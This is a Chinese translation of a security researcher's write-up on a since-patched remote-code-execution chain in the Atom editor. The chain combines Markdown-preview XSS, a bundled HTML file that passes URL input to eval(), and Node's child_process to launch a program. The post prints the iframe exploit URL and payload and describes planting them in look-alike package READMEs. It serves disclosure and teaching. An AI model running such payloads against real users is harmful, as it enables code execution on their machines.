【技术分享】如何利用Atom中的安全问题实现远程代码执行
作者:admin | 时间:2017-11-24 02:10:59 | 分类:黑客技术 隐藏侧边栏展开侧边栏
	
	 
 
	
写在前面的话
近期,我对GitHub所使用的文本编辑器-Atom进行了分析,并成功地在Atom中找到了多个安全漏洞。通过研究之后,我成功地利用这些漏洞实现了远程代码执行。
当我将漏洞信息通过HackerOne上报给Atom的开发团队之后,这些漏洞已经在2017年10月12日发布的Atom v1.21.1中得到了修复。如果你想复现漏洞的话,可以参考GitHub上发布的旧版本代码【传送门】。
	
 
Web安全问题影响了桌面端App
Atom是基于Electron开发的,而Electron是一款用于开发桌面应用的跨平台框架,该框架使用的语言是JavaScript、HTML和CSS。
但是,这种框架也将某些常见的Web端安全问题带到了桌面端应用的身上,我们这里所指的安全问题就是跨站脚本漏洞(XSS)。由于整个应用程序的逻辑是基于JavaScript实现的,而一个跨站脚本漏洞就有可能导致攻击者实现任意代码执行。毕竟对于一款基于JavaScript实现的应用来说,攻击者能做到的跟开发者所能做的其实是差不多的。
当然了,我们也有很多方法来缓解Electron中的跨站脚本漏洞所带来的影响,但如果这些安全解决方案部署不当的话,它们还是有可能会被攻击者轻松绕过的。
	
 
使用内容安全策略缓解XSS
在开始分析漏洞之前,我们先来看一看GitHub是如何缓解Atom中的XSS问题的。没错,GitHub使用的就是内容安全策略(CSP)。如果你分析过Atom中index.html文件的代码的话,你将会看到如下所示的部署策略:
| 
					1
				 
					2
				 
					3
				 
					4
				 
					5
				 
					6
				 
					7
				 
					8
				 | <!DOCTYPE html><html>   <head>      <metahttp-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">      <scriptsrc="index.js"></script>   </head>   <bodytabindex="-1"></body></html> | 
注意上述代码中的script-src 'self' 'unsafe-eval',即它允许同源的JavaScript以及使用eval()构建的代码运行,但是禁止任何内联JavaScript运行。
简而言之,在下面给出的样例中,只有“index.js”中的JavaScript代码可以被执行,而alert(1)无法执行,因为它属于内联JavaScript:
| 
					1
				 
					2
				 
					3
				 
					4
				 
					5
				 
					6
				 
					7
				 
					8
				 
					9
				 
					10
				 | <!DOCTYPE html><html>   <head>      <metahttp-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">   </head>   <!-- Following line will be executed since it is JS embedded from the same origin -->   <scriptsrc="index.js"></script>   <!-- Following line will not be executed since it is inline JavaScript -->   <script>alert(1)</script></html> | 
Atom如何解析Markdown文件?
在面对某些包含解析器或者预览功能的软件时,多花一些时间去研究相关组件往往会给我们带来意想不到的收获。在绝大多数场景中,软件的解析库一般都是使用某些第三方组件实现的,而且在实现这些组件的时候或多或少都会存在不同的安全问题。而组件的开发者跟使用者所想的也有可能不一样,比如说,开发者会假设提供给代码库的肯定是受信数据,而使用者可能会认为代码库会对不安全的数据进行过滤处理,这样也就导致了安全漏洞的产生。
所以,我首先要做的就是对Atom解析Markdown文件的过程进行分析,跟该组件相关的代码可以在GitHub的atom/markdown-preview找到。很快我便发现,Markdown解析器似乎还可以解析任意HTML文档:
接下来,我尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略在这里可以防止代码运行,但我这里只是想确认代码库是否实现了最基本的数据过滤(清洗)功能。事实证明,这里真的有...请大家看下面这张截图,其中的script语句没有显示在DOM之中:
在进行了简单的信息搜索之后,我发现“GitHub能够解析任意HTML文档”的这种功能实际上是他们故意这样设计的。因此,Markdown代码库才引入了这种数据清洗模式(一种自定义的数据过滤功能):
| 
					1
				 
					2
				 
					3
				 
					4
				 
					5
				 
					6
				 
					7
				 
					8
				 
					9
				 
					10
				 
					11
				 
					12
				 
					13
				 
					14
				 
					15
				 
					16
				 
					17
				 
					18
				 
					19
				 
					20
				 
					21
				 
					22
				 
					23
				 
					24
				 
					25
				 
					26
				 
					27
				 
					28
				 
					29
				 | sanitize = (html) ->           o = cheerio.load(html)           o('script').remove()           attributesToRemove = [             'onabort'             'onblur'             'onchange'             'onclick'             'ondbclick'             'onerror'             'onfocus'             'onkeydown'             'onkeypress'             'onkeyup'             'onload'             'onmousedown'             'onmousemove'             'onmouseover'             'onmouseout'             'onmouseup'             'onreset'             'onresize'             'onscroll'             'onselect'             'onsubmit'             'onunload'           ]           o('*').removeAttr(attribute) for attribute in attributesToRemove           o.html() | 
虽然这种数据过滤功能的保护性非常的弱,但我们不能使用on-listener(例如onClickListener)来绕过它,因为它可能会触发内容安全策略,这将导致恶意Payload无法被执行。
但是,我们可以注入其他类型的HTML Payload,我们先认真看一看之前那张屏幕截图:
很明显,Atom是以协议file://执行的,那如果我们创建一个恶意HTML文件并将其嵌入在本地文件之中呢?如果可以的话,该文件将会被视作是Electron的本地文件所提供的(符合同源策略),因此我们的JavaScript代码将会被执行。
所以我在主文件夹中创建了一个名叫hacked.html的文件,文件内容如下所示:
| 
					1
				 
					2
				 
					3
				 | <script>    alert(1);</script> | 
接下来,我只需要在Markdown文档中使用一个iframe标签即可成功触发JavaScript代码:
	
 
配合本地DOM XSS
但是我现在还无法执行任意JavaScript代码,因为还有一个问题没解决:即漏洞的利用需要大量的用户交互:
1. 用户需要主动打开恶意的Markdown文档;
2. 用户需要打开Markdown文档的预览窗口;
3. 恶意Markdown文档还需要另一个包含恶意JavaScript代码的本地HTML文件存在;
而在真实的场景中,上述条件就显得有些牵强了。但是,如果我们能找到某个本地文件中存在DOM XSS漏洞的话,不就可以了吗?而这种情况更加适用于真实场景下的漏洞利用过程。
所以,我打算对Atom所绑定的HTML文件进行分析。幸运的是,在macOS系统中,应用程序本身就是一堆代码和文件。所以我们可以直接在/Applications/Atom.app/Contents目录中访问Atom bundle:
快速搜索bundle中的HTML文件后,我们得到了以下相关文件:
| 
					1
				 
					2
				 
					3
				 
					4
				 
					5
				 
					6
				 
					7
				 
					8
				 
					9
				 | ➜  Contents find. -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html./Resources/app/apm/node_modules/clone/test-apart-ctx.html./Resources/app/apm/node_modules/clone/test.html./Resources/app/apm/node_modules/colors/example.html./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html./Resources/app/apm/node_modules/jsbn/example.html | 
现在,你就可以使用静态分析技术来分析这些HTML文件了,不过你也可以进行手动分析。由于工作量不大,所以我选择进行手动分析,而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html看起来似乎很有意思:
| 
					1
				 
					2
				 
					3
				 
					4
				 
					5
				 
					6
				 
					7
				 
					8
				 
					9
				 
					10
				 
					11
				 
					12
				 
					13
				 
					14
				 
					15
				 
					16
				 
					17
				 
					18
				 
					19
				 
					20
				 
					21
				 
					22
				 | <html>  <head>    <metacharset="utf-8">    <title>Clone Test-Suite (Browser)</title>  </head>  <body>    <script>      var data = document.location.search.substr(1).split('&');      try {        ctx = parent[data[0]];        eval(decodeURIComponent(data[1]));        window.results = results;      } catch(e) {        var extra = '';        if (e.name == 'SecurityError')          extra = 'This test suite needs to be run on an http server.';        alert('Apart Context iFrame Error\n' + e + '\n\n' + extra);        throw e;      }    </script>  </body></html> | 
在document.location.search调用了eval(),而Atom的内容安全策略允许使用eval语句,因此我们只需要使用类似下面的这种语句就能够触发一个对话弹窗:
| 
					1
				 | file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1) | 
实际上,我们只需要下面这种Markdown文档就能够执行任意JavaScript代码了:
| 
					1
				 | <iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe> | 
	
 
执行任意本地代码
正如我们之前所提到的,在一个Electron应用中执行恶意JavaScript代码也就意味着实现本地代码执行。在我们的分析场景中,最简单的实现方法就是访问window.top对象,然后使用NodeJS的require函数来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序:
| 
					1
				 
					2
				 
					3
				 | <scripttype="text/javascript">window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});</script> | 
刚才的漏洞利用代码经过URL编码后,形式如下:
| 
					1
				 | 
					 
					 
					 
					 
					 
					 | 
打开恶意Markdown文档之后,Calculator.app将会运行:
	
 
远程实现所有操作
虽然我们刚才介绍的方法可以让Atom中的这些安全问题更加容易被攻击者所利用,但是它仍然需要目标用户手动打开攻击者所提供的恶意Markdown文档。不过需要注意的是,Atom能够呈现Markdown文档内容的地方可不止这一个。
通过使用grep搜索了Atom的源代码之后,我们发现其实还有一个模块能够解析Markdown文件,即Atom设置:atom/settings-view。实际上,这个模块所采用的数据清洗方法也同样存在安全问题:
| 
					1
				 
					2
				 
					3
				 
					4
				 
					5
				 
					6
				 
					7
				 
					8
				 
					9
				 
					10
				 
					11
				 
					12
				 
					13
				 
					14
				 
					15
				 
					16
				 
					17
				 
					18
				 
					19
				 
					20
				 
					21
				 
					22
				 
					23
				 
					24
				 
					25
				 
					26
				 
					27
				 
					28
				 
					29
				 
					30
				 
					31
				 
					32
				 
					33
				 
					34
				 
					35
				 
					36
				 
					37
				 
					38
				 
					39
				 
					40
				 
					41
				 
					42
				 
					43
				 
					44
				 
					45
				 | const ATTRIBUTES_TO_REMOVE = [  'onabort',  'onblur',  'onchange',  'onclick',  'ondbclick',  'onerror',  'onfocus',  'onkeydown',  'onkeypress',  'onkeyup',  'onload',  'onmousedown',  'onmousemove',  'onmouseover',  'onmouseout',  'onmouseup',  'onreset',  'onresize',  'onscroll',  'onselect',  'onsubmit',  'onunload'] function sanitize (html) {  const temporaryContainer = document.createElement('div')  temporaryContainer.innerHTML = html   for (const script of temporaryContainer.querySelectorAll('script')) {    script.remove()  }   for (const element of temporaryContainer.querySelectorAll('*')) {    for (const attribute of ATTRIBUTES_TO_REMOVE) {      element.removeAttribute(attribute)    }  }   for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {    checkbox.setAttribute('disabled', true)  }   return temporaryContainer.innerHTML} | 
实际上,Markdown的解析器同样会受到这些安全问题的影响,而且受影响程度也比较严重。
Atom还支持所谓的第三方“Packages”(包),这些代码包基本上都是社区提供的,可以从atom.io/packages获取。而这些包能够以Markdown格式定义README文档,而文档的内容将会在Atom设置窗口中呈现给用户。
因此,恶意攻击者只需要注册一大堆恶意包(包名可以跟现有的第三方包名类似),只要目标用户点击了这个包名(无需进行安装),那么嵌入在README文档中的恶意代码就能够被触发并执行。
	
 
GitHub如何修复这个问题?
我们在跟GitHub的开发人员进行了一系列探讨之后,最终得出了以下的漏洞修复策略:
1. 从bundle中删除一些不必要的HTML文件。
2. 使用DOMPurify来对Markdown文档的内容进行数据过滤。
虽然这种解决方案并不算十分完美,但是对于目前来讲也已经足够有效了。与此同时,GitHub也准备使用一种更加严格的Markdown解析器,但是这很有可能会影响很多现存用户的工作流程。
	
本文由 安全客 翻译,作者:WisFree
原文链接:https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
	
 
			






